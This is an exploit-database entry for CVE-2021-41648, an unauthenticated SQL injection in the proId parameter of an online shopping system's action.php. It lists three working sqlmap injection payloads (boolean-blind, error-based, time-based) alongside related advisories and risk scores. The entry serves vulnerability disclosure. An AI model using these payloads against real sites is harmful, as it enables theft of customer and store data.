Lucene search
K

PuneethReddyHC Online Shopping System Advanced 1.0 SQL Injection Vulnerability

🗓️ 22 Nov 2021 00:00:00Reported by Jason ColyvasType 
zdt
 zdt
🔗 0day.today👁 366 Views

PuneethReddyHC Online Shopping System Advanced 1.0 SQL Injection Vulnerability. online-shopping-system vulnerable to un-authenticated error/boolean-based blind & error based SQL Injection attacks. proId parameter on action.php page not sanitized, allowing extraction of sensitive data from MySQL Database

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for SQL Injection in Online-Shopping-System-Advanced_Project Online-Shopping-System-Advanced
30 Sep 202106:16
githubexploit
Circl
CVE-2021-41648
1 Oct 202118:15
circl
CNNVD
PuneethReddyHc Online Shopping System Advanced SQL注入漏洞
1 Oct 202100:00
cnnvd
CVE
CVE-2021-41648
1 Oct 202113:53
cve
Cvelist
CVE-2021-41648
1 Oct 202113:53
cvelist
Nuclei
PuneethReddyHC action.php SQL Injection
10 Jun 202605:11
nuclei
NVD
CVE-2021-41648
1 Oct 202114:15
nvd
Packet Storm
PuneethReddyHC Online Shopping System Advanced 1.0 SQL Injection
20 Nov 202100:00
packetstorm
Prion
Sql injection
1 Oct 202114:15
prion
RedhatCVE
CVE-2021-41648
22 May 202521:21
redhatcve
Rows per page
# CVE-2021-41648

CVE-2021-41648 SQL Injection in online-shopping-system

The online-shopping-system is vulnerable to un-authenticated error/boolean-based blind & error based SQL Injection attacks.  <br/><br/>
The proId parameter on the /action.php page does not sanitize the user input, an attacker can extract sensisitive data from the underlying MySQL Database.  

## Link To Application
[online-shopping-system](https://awesomeopensource.com/project/PuneethReddyHC/online-shopping-system)

## Affected Components & Parameter
URL: **/action.php**  
PARAMETER: **proId**

## Poc's

### SQLMAP PAYLOADS<br/>

### proId parameter on the /action.php page
Parameter: proId (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: `proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1`

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: `proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1`

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: `proId=61 OR 17-7=10' AND (SELECT 2990 FROM (SELECT(SLEEP(5)))YhWy)-- xWNo&addToCart=1`</br></br>

### If the POC Image is unclear, please click on the GIF which will load in a better resolution.

![ POC - proId ](https://github.com/MobiusBinary/F2/blob/main/online-shopping-system.gif) 

## Discovered by
Jason Colyvas  
[MOBIUSBINARY](https://mobiusbinary.com)  
September 21st, 2021

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Nov 2021 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 25
CVSS 3.17.5
EPSS0.75422
366